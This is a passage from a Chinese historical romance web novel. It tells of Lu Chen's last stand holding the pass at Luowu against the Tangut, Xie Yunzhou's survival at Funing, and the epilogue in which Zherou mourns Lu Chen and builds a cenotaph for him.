为首的百夫长率先回神,声嘶力竭地吼着党项语,试图整队弹压,刚揪住一个惊慌鼠窜的逃兵,还不及斥骂出口,眼前寒芒骤闪,一道人影手提长刀,纵身朝他直扑而来。 身后火光熊熊,照亮来人兜鍪下的一双幽冷黑眸。 是周人! 啰兀城依据横山天险而建,形如函谷,两面夹山陡峭难攀,此前从未有大周的军队能越过横山奇兵突降。 怎会有周人?! 不及他细想,陆谌手起刀落,寒光过喉,鲜血一瞬喷溅如瀑。 无数精锐紧随其后,纷纷跃下城头,有如猛虎出笼,汹汹杀向党项守军。 霎时间,厮杀声、奔逃声、惨叫声、火焰燃烧的噼啪声交织成一片。 借着出其不意的火攻,数千精锐迅速袭破关口,守军折损十之七八,残兵仓皇弃关逃窜。 陆谌即刻传令稍作休整,清点城中的军械辎重,加固城防,以备王庭方向的敌军来援。 一直忙碌到天色将明,伤兵俱都包扎处置妥当,城头焚毁之处也已加固完毕,南衡抹了抹脸上的尘血,上前复命,“郎君,各处均已处置好了。” 陆谌略一颔首,“趁着援军还未赶到,你点齐伤兵,撤吧。” 南衡一时怔住,反问道:“不是郎君带人撤么?此地留给属下坚守便是!” 陆谌望着远处王庭的方向,闻言睨了他一眼,牵唇淡淡一笑,“撤?走到这一步,我还回得去么?” 那日从灵州出发,他只带三千轻骑,绕过两军交界之处,翻越横山天险,日夜兼程地赶至党项腹地啰兀城。 啰兀城位处灵州与抚宁之间,是距党项王庭最近的一处咽喉险隘。 此关一旦有失,快马两个时辰即可直抵党项王庭,是党项不惜一切代价也必得夺回的一处要冲。 但其背抵横山天险,易守难攻,且道狭隘险,难容大军通行,又深入敌腹,援军补给难以维系,是以多年征战一直绕过此处,或取道灵州,或经由磨奇隘,从未有人冒险试图走此捷径。 倘若能出奇兵夺下啰兀城,杀得党项王庭扛不住重压,抚宁城下的敌军便不得不回援。 攻敌必救,如此,既解抚宁危局、保住此番北伐战果,亦算为她换得鸣岐的一线生机,在公在私,难得的两全之法。 然,于他而言,这已是一条死路。 夺下关隘已是险中搏命,更要在此坚守至少五日,杀退王庭方向蜂拥而至的援军,迫其传信前线主力回援,以解抚宁之围。 这样一支孤军直插胡獠腹地,一无补给,二无援军,腹背皆是强敌。 他身为主将,必要战在最前,方能稳住士气,凝聚军心。 南衡愕然地张了张口,半晌没能说出话来,原本出发之前,郎君说是夺下关口便带人撤离,怎的变卦了? 转念明白过来,他是早已心存死志,南衡不由红了眼,急声道: “郎君!” 陆谌神色平静,扯唇轻哂,“我的话,你都不听了?” “回去,替我守好灵州城。” 守好她。 南衡还欲再劝,只听远处隐隐有蹄声如雷动地而来,如无意外,王庭方向的第一波反扑援军,已然杀到! 陆谌神色微变,沉声道:“走!” 南衡到底习惯了听命从事,不敢再多辩,只得忍泪咬了咬牙,跪下重重一叩首,旋即起身点齐伤兵,率众自南门撤出关隘。 身后大雪纷纷而下,四野间尘雪交织,喊杀声震彻天地。 血战持续将近一日,战线绵延二十余里,满地落雪皆被鲜血染透。 谢云舟杀得连指甲缝里都是血,掌心滑腻得快要握不住长枪,整个人浑似从血中捞出来一般,几已濒临极限。 身边的亲卫越来越少,队列又被重骑冲散。 一名浑身是血的部将砍翻一骑敌军,冲到谢云舟马前,嘶声急道:“郡王!不能再拖了!趁还有最后一战之力,我等护郡王突围!” 谢云舟一枪洞穿一名敌骑咽喉,溅起的血珠落在干裂的唇上。 勒马,仰头望向高耸的城垛。 若说孙宪起先还有犹豫,可错失战机后,眼见不敌,已决意装死龟缩,贺忠被死死按在城头,也在嘶声厉吼:“少将军,走啊!快走!” 谢云舟舔去唇间血沫,竟是笑了笑,“忠叔。” 贺忠望着他,虎目含泪,指节扳紧了垛口青砖。 谢云舟不再看城头。 大雪纷扬而下,恍惚间,眼前乍然浮现起那张温婉柔软的笑靥,秋水般的明眸盈盈望着他,颤声唤他:“保重!” 谢云舟微微抬起脸,眯眼眺向灵州的方位,扬唇笑笑。 九娘,对不住。 这回,怕是要失信了。 原本答允你要回去的。 可城里是他爹啊。 曾经在雪地里追上来,问他:“小兔崽子,就这么跑了,身上有带银钱么?” 爹爹。 谢云舟闭了闭眼,片刻,再睁开,扬声厉喝:“重整阵列,随我——杀!” 眼见对面已是残阵,一时难以聚拢队形,铁鹞子的指挥狼旗一挥,马蹄滚滚如雷,数十重甲骑兵呼号着疾冲而来。 谢云舟猛地勒马上前,反手拉开长弓,瞄准马蹄连珠疾射,箭箭力贯马腿,无一虚发。 党项率先冲来的三将四先锋尽数滚落马下,转眼便被周军乱刀砍死。 如此一人一马挡在阵前,连发百余矢,指腹被弓弦割破,鲜血不断涌出,顺着袖管不住淌落,染红一地落雪。 党项余下的先锋被他气势所摄,一时踌躇着不敢再上前。 趁这个间隙,谢云舟身后所剩的精锐骑兵已经重新排作尖字冲锋阵列,只那阵势,却不是面向防守薄弱的侧翼,而是直对敌军的中军大纛! 贺忠终于意识到,他是要做什么—— 放弃撤军突围,倾全部之力,强行冲破铁鹞子的防线,直接杀向党项主将的中军,玉石俱焚,以命换命,为抚宁城中守军抢出一线喘息之机。 贺忠反应过来,只觉整颗心都要被戳碎了,拼命挣扎着嘶吼,“走啊!快走!别犯傻!鸣岐,听忠叔的话!鸣岐——” 谢云舟勒马而立,分毫不为所动。 眼见他死志已坚,一旦陷入中军重围,便绝无生还之机,贺忠胸中炸开一股血气,不知从何爆出力气,猛地挣脱两旁拦阻,抽刀怒吼:“尔等要眼睁睁看着同袍去死么?” “小郡王早已被冲破阵线,什么胡獠铁骑悍勇,也不过如此!阉人惧死,难道尔等也要任其误国?但凡还是个儿郎,还有几分血性,就给我站出来!握紧手里的刀,随我杀孙宪,灭胡獠!” 守城的兵卒们早已憋了满腔愤懑,此刻再看着城外苦战的援军,眼中的挣扎和动摇不过瞬息,纷纷攥紧兵刃逼向孙宪。 城头骚乱乍起。 正当此时,原本攻势凶猛、志在必得的党项军阵深处,突然传来一阵急促而尖锐的鸣金之声。 数骑传令兵疯了似的从中军奔出,奔向各阵指挥将官,隐有党项语断续,“啰兀……王庭……退兵回援!” 正欲再度冲锋的骑兵攻势骤停,两翼骑阵瞬间如潮水般向中军收缩,号令交错,阵型变换,竟好似开始整军撤退。 谢云舟几乎浑身是伤,乍一见此情形,脱力之下身形狠狠一晃,险些跌下马来。 身边的亲卫齐声惊呼:“郡王!” 谢云舟咬牙稳住身形,哑声下令:“追!” 与此同时,抚宁城头战鼓震天响起,隆隆鼓声席卷四野,等候多时的数万泾原军精锐打开城门,列阵冲杀而出! ** 数百里外的啰兀城下,早已堆尸如山,城破墙断,遍地残肢断臂,入目尽是血色。 三千精锐,十不存一,还活着的将士亦是个个带伤,全凭着最后的一口气,依偎在残垣断壁间,勉强支撑。 陆谌撑刀而立,喘息急沉,手臂的肌肉因长时间的挥砍而痉挛颤抖,身上的甲胄浸透了暗红的血污,又结成片片赤霜,冰冷沉重,早已分不清是獠子的还是自己的。 城下的敌军再度如蝗虫般层层堆叠而上,喊杀声震动四野,残存的守军相互搀扶着起身,以断刃拄地,死守在垛口之前。 不知从何而来的一只冷箭猛然贯穿右肩,热血顺着臂甲汩汩淌落,陆谌右手瞬间脱力,不受控地剧烈颤抖,几要握不住刀柄。 他颤着手摸索半晌,从怀里取出折柔的那根发带,用牙咬住一端,将鲜血淋漓的右手死死缠缚在刀柄之上,打了个死结,以免兵刃脱手。 万敌蜂拥,大雪纷飞。 雪花大片大片地落在眉睫上,陆谌浑身浴血,心中却觉出一种奇异的平静与畅快。 染血的指腹轻轻蹭了蹭她柔软的发带,他缓缓抬头,平静地看向蜂拥而至的敌军,举刀相迎。 百夫长一声令下,十余个胡兵呼喝着一拥而上,欲要一举将他乱刀斩死。 陆谌手中的长刀早已卷刃,翻腕横刀劈去,只听“铮”一声脆响,刀身彻底断在敌兵的肋骨之间。 下一瞬,腰间倏地一凉,温热的鲜血奔涌而出,剧痛瞬间席卷全身,半边身子跟着脱力发麻,已分不清是刀砍还是戟刺。 视线变得血濛濛一片,苦战至力竭,陆谌双膝一软,直挺挺地跌跪到雪地中,喉间血气翻涌。 意识涣散之前,终于望见西北的狼烟冲天而起。 时间仿佛于刹那静止,周遭厮杀声骤然远去,天地间一片寂静。 他忽然想,不知此时此刻,妱妱在做什么。 灵州下雪了么。 她可知抚宁之困已解? 自从与她生出龃龉以来,他一直都在强求,唯有今次,他想成全。 原以为三年死别,日夜痛不欲生,能让他学会放手。 可是不成。 人心总是贪而不足,当年以为她坠河出事,教他悔恨入骨,无数次地想着,只要她活着就好。 只要她活着,他什么都不求。 只要她活着。 可等当真见到她活生生地站在眼前,又忍不住生出痴妄,想要不顾一切地将她留在身边。 这念头太过强烈,已烧干他的意志,让他几近入魔,更不知来日还会干出何等疯事。 与其眼睁睁看着她走向别人,担心自己哪日当真失控疯魔,让心底那头凶兽脱笼而出,再伤她一回,倒不如让他去死。 战死在此,于他而言又何尝不算解脱。 七年前的陆秉言,家破人亡,充军流放,一切名利荣华皆如流水四散,什么都没有了。 彼时能遇她一回,得她相伴一程,此生足矣。 当年她一个单薄纤瘦的小娘子,孤身穿过大漠,从死人堆里将他拖出来,可如今,不会再有人来拖他第二次。 他死,便也算不得是她弃了他。 妱妱。 冷冽的朔风自自北向南,拂起他染血的鬓边碎发,穿过河湟大地茫茫旷野,掠过大佛寺的檐角,摇动清音啷啷的金铎,吹起那棵菩提古树下,无数祈愿的木牌。 木牌摇摇晃晃,随风相撞,哗啦作响。其中一面,被风吹得翻转过来,露出背面峻挺有力的字迹—— 吾妻妱妱,无病无灾,诸愿得偿。 陆谌忽然低头,极轻、极缓地笑了笑,眸光也变得温热。 妱妱。 妱妱。 从前求神佛保佑你,往后……往后我也会保佑你。《 》 【正文完】 第91章 尾声 折柔骤然从噩梦中惊醒,心脏突突急跳,后背冷汗涔涔,几乎浸透中衣。 天色尚早,屋内光线昏昧黯淡,四下都看不真切,像笼了团灰蒙蒙的薄雾。 梦境里一片混乱,支离破碎,一时回想不起具体的情形,唯有那阵惊惶后怕的感觉尤为清晰。 越想,就越是教人心中不安。 折柔闭上眼,勉强缓了缓神,待心跳慢慢平复下来,披衣下榻,草草洗漱后,径直去找了周霄。 “可有前线的消息送来?” 周霄刚收到抚宁送来的线报,不防她竟会突然寻过来,开口便显出一丝迟疑,“……有,有的。” 看出他神色不对,折柔心头一紧,“出事了?” 周霄见她误会,连忙出言解释:“九娘子莫急,是好消息!” 他略去抚宁解围的经过和孙宪及其幕僚已教谢云舟拿下送回上京问罪的细节,只捡要紧的说。 党项仓促退兵,泾原军精锐乘胜追击百余里,总算是扭转了战局。 但抚宁城中缺医少药,谢云舟强撑着处理完最要紧的军务,便将余下事宜悉数交由贺忠善后,自己则于前日带着胥国公和一众伤兵折返灵州。 只是他外伤本就不轻,连日劳顿之下伤势反复,又发起了高热,还未到灵州,人便有些昏沉了。 折柔听罢,微微松了一口气,心头却仍隐约存着一丝难以形容的不安。 鸣岐并无大碍,那……陆秉言呢? 战场上刀剑无眼,她虽盼着陆谌能如当日所言,自此与她相忘江湖,余生再无纠缠,却也不愿见他真有不测。 可南衡不在军中,陆谌的副将亦不知其行军机密,其余消息也只能再等。 …… 谢云舟躺在榻上,浑身剧痛,仿佛在火中煎熬,意识浮沉间,只觉口干舌燥,忽然唇边一凉,一只柔软的手托起他的后颈,将盛水的瓷碗送了过来。 温度刚好的清水润入喉间,谢云舟缓过气来,费力地睁开双眼。 模糊的视线慢慢聚焦,等到终于看清眼前那张熟悉又渴念的面庞,他一时间竟有些不可置信,试探着小声唤她:“……九娘?” 声音干涩低哑,几不可闻。 “可好些了?” 折柔轻声应着,伸手去探了探他额间的温度。 恍惚间衣袖软软拂过,带来一缕浅淡的杏花香,柔软温凉的掌心忽而贴覆上来,谢云舟愣愣地反应了半晌,终于觉出几分真切实感。 下一瞬,一股难言的松弛和巨大的欢喜同时翻涌上来,他忍不住伸手想要覆握上去,却不防扯动了伤处,顿时疼得倒吸一口凉气。 折柔赶忙按住他的手,“别乱动。” 谢云舟点点头,额上墨色的发丝被汗水浸透,一双漆黑的眸子湿漉漉地望着她,好像被雨水打湿了毛的小狸,和平素张扬恣意的模样大有不同,难得显出几分脆弱可怜。 折柔心下一软,取来干净的软布替他擦了擦汗,温声嘱咐道:“你伤得不轻,需得好生静养。” 谢云舟老老实实地应下来,不多时,于昏沉间安心地合眼睡去。 如此又煎熬了数日,谢云舟的伤势终于好转,行动虽尚有些不便,精神却已好了许多。 便是这时,陆谌的消息猝不及防地传来。 陆谌的副将温序径直来见,面色沉痛,声音嘶哑得厉害。 折柔站在廊下,安静地听着,面上也瞧不出什么波动,仿佛只是听了一句再平常不过的话。 沉默许久,她才轻轻地问了一句:“他……可曾留下什么话?” “郎君只留下一封信,信中唯有一十二个字。” 温序喉头滚动着,半晌,一字一句,哑声开口。 “此身许国,马革裹尸,余愿足矣。” 大抵是深知谢云舟待她十足赤诚,决计不会让她受半分委屈、更不会教她受人欺负,所以他旁的什么都没有留,不论是信物还是多余的嘱托,都不曾留下。 倒是像他一贯的脾性,十足的利落狠绝。 既然决意放手,那便走得干干净净,不留丝毫牵绊挂碍,免教生者徒增烦扰。 静默良久,折柔只是轻轻地点了点头,示意自己知晓了。 谢云舟站在一旁,看着她的反应,心里的不安几要破胸而出。 他比谁都清楚她和陆谌之间的情分,哪怕从前有过再多的怨怼恼恨,可总归还有年少时孤苦作伴,相依为命、刻入骨血的亲情在,陆秉言于她,到底和旁人不同。 可如今面临这等生死大事,她却只是沉默不语,不哭不闹,也不追问其中细节,这教他如何能放心。 “九娘……”谢云舟轻声唤她。 良久,折柔缓缓摇头,低声道:“我没事。战事无常,从前在洮州的时候,每次送他出征,我都有准备。” 甚至还反过来安抚他,声音轻飘飘的,“你身上的伤还未好全,莫要站久了,回屋歇息罢。” 谢云舟哪里还顾得上自己伤好没好全,简直担心她担心得快要疯了,可一时又不知该如何是好。 想要试着宽慰开解,却又不敢轻易出言提及,只能寸步不离地守着。 直到几日之后,两个人一道用暮食的时候,她终于主动开口,唤了一声:“鸣岐。” 谢云舟一口饭还未咽下,闻声立即放下木筷,转头含混应道:“在呢。” 折柔抿了抿唇,低声道:“我听说西羌和党项遣使来送信,愿称臣议和,归还侵占的河湟故地……可是真的?” 谢云舟小心端量着她的神色,连忙点头,“正是。” 自从灵州和磨奇隘接连失守,党项便已露败象,原想对泾原军做最后一搏,最后却又不得不仓促退兵,反遭泾原军精锐乘胜追击,损失实是不小。 经此一役,党项自知门户难保,再也经不起战事,是以遣使送来求和书信,愿称臣纳贡,归还数十年来侵占的河湟故地。 折柔沉默片刻,又轻声问:“那……啰兀城里,那些将士的衣骨呢?” 谢云舟立时会意。 她想去寻陆谌,接他的衣骨回家。 多日来紧绷的心神终于蓦地一松。 有反应,便是好的。 总好过一直闷声不响,全都憋在心里。 只是那场战事太过惨烈,后来又遭獠子放火泄愤,一具具尸骸早已辨认不全,还能找到的,恐怕只有残甲和断刃之类的遗物。 他不敢将这话说出来,只能低头寻着她的眼睛,认真道:“党项这两日便会遣人送还,到时,我送你去。” 闻言,折柔抿唇笑了一下,轻声应好。 不出三日,果然见到党项遣使送来归还的遗物。 几片残甲,一柄卷刃的断刀,刀柄上还缠着一截被血浸透、半残半破、已看不出原本颜色的碎布条。 折柔的目光一一掠过,最后落在那截斑驳的窄细碎布上。 似乎是那日在大佛寺外,他替她换下来的那条旧丝绦。 认出的瞬间,折柔呼吸一滞,细白的指尖微微发颤。 ——“做什么?” ——“从前不是日日都换新的?这条都用了三日,早该换了。” 原以为早就随手扔了,却不想是教他收了起来。 指腹轻轻抚过那截残破染血的丝绦,折柔缓慢地眨了眨眼。 原本皑皑无暇的雪地被灼出一个又一个细小而清晰的圆痕。 泪水毫无预兆地滚落下来。 积压在心底多日的那场泪一旦决堤,便再难止住。 眼前的一切都变得模糊,大颗大颗的泪珠滚滚而落,在雪地上化开一片又一片的斑驳湿痕。 谢云舟心头酸涩不已,上前伸手将她抱进怀里,温热掌心覆着她纤薄的背脊,轻轻安抚。 折柔埋头抵在他胸前,浑身止不住地发颤,手指紧紧揪着他的衣襟,却始终哭得没有一丝声响。 谢云舟只能将她搂得愈紧,听着她紧促压抑的呼吸,感觉到温热的泪水不断涌出,一点点洇湿外衫,浸透中衣,最后在他心口处蔓延开一片烫灼的湿意。 哭到最后,头脑昏沉,筋疲力竭,终于将满腔难言的酸楚、怨恼和憾恨宣泄一空。 四年复三载,爱恨都匆匆,此生恍若大梦一场。 …… 待灵州诸事尘埃落定,月余之后,谢云舟伤势大愈,陪她回了一趟洮州,为陆谌立下一座衣冠冢。 离他们从前的旧居不远,四面群山环抱,一陂溪水静流。春来可见杏花照水,夏有松涛阵阵,鸟鸣啾啾。 轻轻拂去碑上落雪,又将土仔细按得实了些。 折柔撑膝慢慢站起来,转过身,正欲离开,忽有一阵寒风卷着雪沫掠过耳边,依稀听得有人唤了她一声。 “妱妱。” 极轻极熟悉的一声唤,仿佛就呢喃在耳畔。 折柔一怔,倏然转头望去。 可入目唯见一片风雪茫茫,群山寂寂,哪里有什么人呢。 “九娘?”谢云舟关切地看向她。 折柔回过神来,缓慢地摇了摇头,抿唇笑笑,“无事。” 听错了。 最后看了一眼那方简朴的石碑,她主动伸出手,轻轻牵住了谢云舟温热的手掌,“走罢。” 谢云舟微顿一霎,随即反手将她细弱的指尖拢在掌心,紧紧握住。 “好。” 此后山迢水远,风雨晴晦,他皆与她同行,共赴人间三月春。 【正文完】《 》